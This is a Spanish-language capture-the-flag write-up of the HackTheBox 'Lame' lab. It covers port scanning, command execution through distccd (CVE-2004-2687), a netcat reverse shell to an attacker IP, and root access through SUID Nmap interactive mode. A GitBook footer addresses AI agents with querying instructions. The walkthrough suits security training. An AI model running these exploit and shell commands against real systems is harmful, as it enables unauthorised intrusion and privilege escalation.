> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/lame-hackthebox-writeup.md).

# Resolución de HackTheBox Lame

{% embed url="<https://app.hackthebox.com/machines/Lame>" %}

{% hint style="warning" %}
**Habilidades:**

* Explotación del puerto 3632 - distcc (CVE-2004-2687)
* Abuso de SUID en Nmap (Escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/0ac4446957174636a6c101c572086ceb54d4cb92" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/18e6d841c97ca7f7e132b0e413b6f1bc84d51f7b" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.3 -oG allPorts
```

<figure><img src="/files/428413e89fafbe9212a6423cbd00aa76a821257e" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles.

<figure><img src="/files/fc8fcb21c3b1cbaef207b2ab8c35965ea54480a4" alt="" width="563"><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p21,22,139,445,3632 10.10.10.3 -oN targeted
```

<figure><img src="/files/5ce76880ba14ba58dde05d888b24ff748297e1e9" alt=""><figcaption></figcaption></figure>

### Puerto 3632 - distccd

> Distcc es una herramienta para acelerar el proceso de compilación utilizando los recursos no utilizados de otros equipos en la red. Cuando se configura en una máquina, puede distribuir sus tareas de compilación a otros sistemas que ejecutan el demonio distccd y que tienen un compilador compatible.

#### Vulnerabilidad identificada

La versión 4.2.4 de distccd escucha en el puerto 3632 y es vulnerable a CVE-2004-2687. Esta vulnerabilidad permite a un atacante ejecutar comandos arbitrarios con los privilegios del usuario bajo el que se está ejecutando el daemon (a menudo un usuario sin privilegios, pero esto puede variar según la configuración).

#### Comprobación de vulnerabilidad

Para confirmar la presencia de la vulnerabilidad, usamos el siguiente script de Nmap:

```bash
nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687
```

El resultado indica que el servidor es efectivamente vulnerable.

<figure><img src="/files/62813d89ea5ca9ae1a21dfaa27a9b0ce8e2a2880" alt=""><figcaption></figcaption></figure>

### Explotación

#### Ejecución de un script de Python

Para explotar la vulnerabilidad, usamos el siguiente script de Python:

{% embed url="<https://github.com/angelpimentell/distcc_cve_2004-2687_exploit>" %}

```bash
python3 main.py -i 10.10.10.3 -p 3632
```

Esto nos permite ejecutar comandos arbitrarios en la máquina objetivo.

<figure><img src="/files/51b13352767f80328e1375c8a7137bd2e23030fb" alt=""><figcaption></figcaption></figure>

#### Ejecución de una shell inversa

Escuchamos en el puerto 443:

```bash
nc -nlvp 443
```

Ejecutamos el siguiente comando desde la máquina objetivo para establecer la conexión:

```bash
nc 10.10.14.26 443 -e /bin/bash
```

<figure><img src="/files/0f6c50090324d096ebec99d74573affe55feef1a" alt=""><figcaption></figcaption></figure>

#### Manejo de terminal

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Bandera user.txt :)

<figure><img src="/files/65cbd669af5b7abb51656f0cbbb3421e9b8ac0cf" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilegios

### SUID - Nmap

#### Búsqueda de archivos SUID

Buscamos archivos con el bit SUID habilitado usando el siguiente comando:

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/f3612e13cf07bfc240312d71b4699a68627fc3d7" alt=""><figcaption></figcaption></figure>

#### Identificación de Nmap

Entre los archivos listados encontramos **Nmap**.

#### Explotación

Nmap puede usarse de forma interactiva para ejecutar comandos como root. Estos son los pasos:

Inicia Nmap en modo interactivo:

```bash
nmap --interactive
```

Ejecuta comandos como root, por ejemplo:

```bash
!whoami
```

Esto imprime "root".

<figure><img src="/files/e8882ff372c3e91291cda0275d0ff5c48420f410" alt="" width="563"><figcaption></figcaption></figure>

Obtén una shell de root:

```bash
!sh
```

Una vez en la shell de root, accede al **root.txt** archivo para recuperar la bandera.

<figure><img src="/files/b87fb1c31188ad91abf0301477b5cd60a696c902" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/49e11ff6272328a4ac34d2e1a7db2326f62d92f6" alt="" width="488"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/lame-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
